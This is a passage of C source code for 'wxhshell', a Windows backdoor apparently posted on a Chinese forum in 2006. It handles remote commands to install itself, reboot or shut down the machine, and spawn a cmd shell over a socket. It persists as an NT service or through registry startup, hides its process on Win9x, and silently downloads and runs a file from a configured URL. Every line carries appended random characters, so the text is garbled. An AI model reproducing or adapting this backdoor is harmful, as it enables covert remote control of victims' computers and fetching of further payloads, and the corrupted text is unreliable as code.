      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3d]~e  
    break; %wXj P`#  
  } +!W:gA  
  // 安装 Wx8:GBM$2  
  case 'i': { F3K<-JK+  
    if(Install()) q7r b3d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Td|u-9OM  
    else Rc3!u^?u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4x}U+1B  
    break; ~]#-S20  
    } <Y6zJ#BD  
  // 卸载 `K:n=hpF  
  case 'r': { eEfGH  
    if(Uninstall()) 7W*a+^   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IdMwpru(  
    else xY/F)JOeG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :iLRCK3 C  
    break; *];QPi~  
    } ,(Ol]W}  
  // 显示 wxhshell 所在路径 5|~nX8>  
  case 'p': { EADN   
    char svExeFile[MAX_PATH]; #t;]s<  
    strcpy(svExeFile,"\n\r"); O$;#GpR  
      strcat(svExeFile,ExeFile); `d^Q!QxE  
        send(wsh,svExeFile,strlen(svExeFile),0); |5%T)  
    break; by0K:*C  
    } x`FTy&g  
  // 重启 + kT ]qH  
  case 'b': { pdR\Ne0P*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G[JWG  
    if(Boot(REBOOT)) N Uv Vhy]{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #rF`Hk:  
    else { _WvVF*Q"k  
    closesocket(wsh); Qu,R6G  
    ExitThread(0); +lfO4^V  
    } z?Ok'LX  
    break; |pv$],&&:  
    } gKl9Nkd!R  
  // 关机 Sgv_YoD?-  
  case 'd': { l*OR{!3H$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -b{<VrZ  
    if(Boot(SHUTDOWN)) zwU[!i)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T9%|B9FeJ  
    else { $'>JG9M  
    closesocket(wsh); N&p0Emg  
    ExitThread(0); (&Jo. <  
    } (CRx'R  
    break; Bm,Vu 1]t  
    } $OdBuJA  
  // 获取shell 'tw ]jMD  
  case 's': { wggB^ }~  
    CmdShell(wsh); 6pSTw\/6  
    closesocket(wsh); 49M1^nMvoo  
    ExitThread(0); nIr`T^c9c  
    break; j`"!G*Vh  
  } ,mHUo4h1O  
  // 退出 8C8S) ;  
  case 'x': { yyljyE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \/<VJB uV  
    CloseIt(wsh); 7I'C'.6iM  
    break; ~  z3J4s  
    } >W8"Ar  
  // 离开 1P[x.t#  
  case 'q': { 8U(o@1PT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [tof+0Y6  
    closesocket(wsh); %Z<{CV  
    WSACleanup(); HUD0 @HQI  
    exit(1); J<+ f7L  
    break; /{`"X_.o  
        } &.?E[db"h  
  } tm5)x^7  
  } `*B0n>ol,  
YPI,u7-  
  // 提示信息 qe#5;#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GJZjQH-#P  
} bY.VNA  
  } #@OPi6.#!<  
GW'v\O  
  return; a-E}3a  
} -$o0P'Vx  
7`;f<QNo  
// shell模块句柄 iLZY6?_^  
int CmdShell(SOCKET sock) Ms,MXJtH  
{ dt:$:,"   
STARTUPINFO si; a{r"$>0  
ZeroMemory(&si,sizeof(si)); L?ht^ H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~`QoBZ.O&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L55 UeP\  
PROCESS_INFORMATION ProcessInfo; rkR5>S( 2M  
char cmdline[]="cmd"; D0xQXC3$`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qjhV/fsfb  
  return 0; F/BR#J1  
} '7el`Ff  
Ve|:k5z  
// 自身启动模式 f0 sGE5  
int StartFromService(void) "E\mj'k  
{ .gDq+~r8O  
typedef struct $Q8 &TM}E  
{ 5[SwF& zZ  
  DWORD ExitStatus; S Dil\x  
  DWORD PebBaseAddress; ebI2gEu;a  
  DWORD AffinityMask; >*h+ N? m  
  DWORD BasePriority; }q@#M8b  
  ULONG UniqueProcessId; =oSd M2  
  ULONG InheritedFromUniqueProcessId; s2G9}i{  
}   PROCESS_BASIC_INFORMATION; 0GrM:Lh y  
QcQ%A%VIV  
PROCNTQSIP NtQueryInformationProcess; zq{UkoME  
I_v}}h{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &N/t%q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?=M ?v;8  
4)8VmCW  
  HANDLE             hProcess; A)sYde(  
  PROCESS_BASIC_INFORMATION pbi; zVw5(Tc  
\OVtvJV]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `R8&(kQ  
  if(NULL == hInst ) return 0; K#wA ;  
NUltuM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dJ6fPB|k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0,t%us/q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X>o9mW  
@!f4>iUy  
  if (!NtQueryInformationProcess) return 0; NgGMsE\C}  
q%d G>!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());   < v]  
  if(!hProcess) return 0; tn' Jkwp  
,<tJ` ,0X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6I@j$edZ  
k(dakFaC^  
  CloseHandle(hProcess); 6K pq~o   
i)z|= |?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uv *A a7M  
if(hProcess==NULL) return 0; TsaQR2J@  
3MQZ)!6  
HMODULE hMod; )Wk_|zO-  
char procName[255]; tr,W)5O@L  
unsigned long cbNeeded; (4R(5t  
Q p>b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ):! =XhQ  
R}Lk$#S#  
  CloseHandle(hProcess); dyWp'vCQs\  
(CxA5u1|l  
if(strstr(procName,"services")) return 1; // 以服务启动 :uo1QavO@,  
$gBQ5Wd  
  return 0; // 注册表启动 ZiJF.(JS  
} Kk8} m;  
~U&NY7.@  
// 主模块 AYA{_^#+3  
int StartWxhshell(LPSTR lpCmdLine) ,D+ydr  
{ [#Y L_*p  
  SOCKET wsl; H>EM3cFU  
BOOL val=TRUE; TBBnsj6e  
  int port=0; 13!@L bC  
  struct sockaddr_in door; }~I!'J#)  
yQ[;y~W  
  if(wscfg.ws_autoins) Install(); njy2pDC@  
:jl*Y-mM  
port=atoi(lpCmdLine); C:J;'[,S  
fkzSX8a9}  
if(port<=0) port=wscfg.ws_port; 2H|:/y  
Pqomi!1  
  WSADATA data; ?J\&yJ_B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '9V/w[mI  
Q4"\k. ?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n(F!t,S1i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r.H`3m.0q  
  door.sin_family = AF_INET; .*zS2 z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sxREk99lL  
  door.sin_port = htons(port); a+^` +p/5  
AatSN@,~z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [MTd<@  
closesocket(wsl); LlQsc{ Ddf  
return 1; 6L<:>55  
} 3^o(\=-JX  
k6Kc{kY  
  if(listen(wsl,2) == INVALID_SOCKET) { fc9;ZX7  
closesocket(wsl); te+}j7SU  
return 1; V,&%[H [  
} "<ZV'z  
  Wxhshell(wsl); Y P2VSK2Q  
  WSACleanup(); C Bkoky 9&  
C& +MRP  
return 0; ")|/\ w,  
<,]:jgX  
} b{A[\ "  
U6]#RxH  
// 以NT服务方式启动 ;t&q|}x"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l76=6Vtb  
{ Xsq@E#@S  
DWORD   status = 0; *'/,  
  DWORD   specificError = 0xfffffff; P>7Xbm,VP  
_gT65G~z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '$tCAS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /Y7^!3uM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <&5z0rDKWw  
  serviceStatus.dwWin32ExitCode     = 0; pp"X0  
  serviceStatus.dwServiceSpecificExitCode = 0; }@r23g%   
  serviceStatus.dwCheckPoint       = 0; gmL~n7m:K  
  serviceStatus.dwWaitHint       = 0; hw DxGiU  
fq7#rZCxX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "Oxr}^% i  
  if (hServiceStatusHandle==0) return; hLO)-ueb  
yE$PLM  
status = GetLastError(); R}&?9tVRR  
  if (status!=NO_ERROR) f@OH~4FG  
{ @?,x3\N-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  =z.j{%  
    serviceStatus.dwCheckPoint       = 0; G]K1X"W?  
    serviceStatus.dwWaitHint       = 0; #I/P9)4  
    serviceStatus.dwWin32ExitCode     = status; Qa{5 ]+E  
    serviceStatus.dwServiceSpecificExitCode = specificError; F5o8@ Ib]:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); = L!&Z  
    return; :R;w<Tbz"  
  } s6`E.Eevm  
P3zUaN \c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RM2Ik_IH[l  
  serviceStatus.dwCheckPoint       = 0; ewMVUq*:  
  serviceStatus.dwWaitHint       = 0; F]$ Nu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1b5Z^a<u  
} &tyS6S+  
3<xE_ \DR  
// 处理NT服务事件,比如:启动、停止 BhJ>G%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VE |:k:};  
{ )@g[aRFa  
switch(fdwControl) &`^(dO9  
{ =^9h z3 j  
case SERVICE_CONTROL_STOP: -^@FZ R^Y  
  serviceStatus.dwWin32ExitCode = 0; Y 6a`{'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MP%#)O6  
  serviceStatus.dwCheckPoint   = 0; 'n &p5%  
  serviceStatus.dwWaitHint     = 0; `~GXK  
  { B>2=IZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^{Y,`F  
  } */aY $aWv  
  return; .n 9.y8C  
case SERVICE_CONTROL_PAUSE: V._-iw]v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9 [eiN  
  break; $@AJg  
case SERVICE_CONTROL_CONTINUE: yzS]FwW7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *6s_7{;  
  break; {*_Ln  
case SERVICE_CONTROL_INTERROGATE: AiqKf=  
  break; vt EfH  
}; CmU@8-1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6#Vl3o(E|  
} &h5Vhzq(<  
6{2y$'m8  
// 标准应用程序主函数 x ytrd.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *p{p.%Qs:  
{ SoIK<*J  
$fb%?n{  
// 获取操作系统版本 \8{SQ%  
OsIsNt=GetOsVer(); lu#a.41  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }z]d]  
UF9={fN1  
  // 从命令行安装 M\1CDU+*Ns  
  if(strpbrk(lpCmdLine,"iI")) Install(); g\aO::  
+ai3   
  // 下载执行文件 <a R  
if(wscfg.ws_downexe) { UylIxd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !yNU-/K  
  WinExec(wscfg.ws_filenam,SW_HIDE); WB jJ)vCA.  
} Kzev] er  
,:S#gN{U  
if(!OsIsNt) { v^9eTeFO  
// 如果时win9x,隐藏进程并且设置为注册表启动 7 [Us.V@  
HideProc(); 6i/unwe!`)  
StartWxhshell(lpCmdLine); t>[QW`EeP  
} RXXHg  
else dDcQSshL  
  if(StartFromService()) &8VH m?h  
  // 以服务方式启动 !)M}(I}  
  StartServiceCtrlDispatcher(DispatchTable); %Wtf24'o;v  
else =ejcP&-V/  
  // 普通方式启动 |~9jO/&r  
  StartWxhshell(lpCmdLine); eaRa+ <#u  
S'x ]c#  
return 0; rJ /HIda  
}
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只看该作者 1 发表于: 2006-10-10
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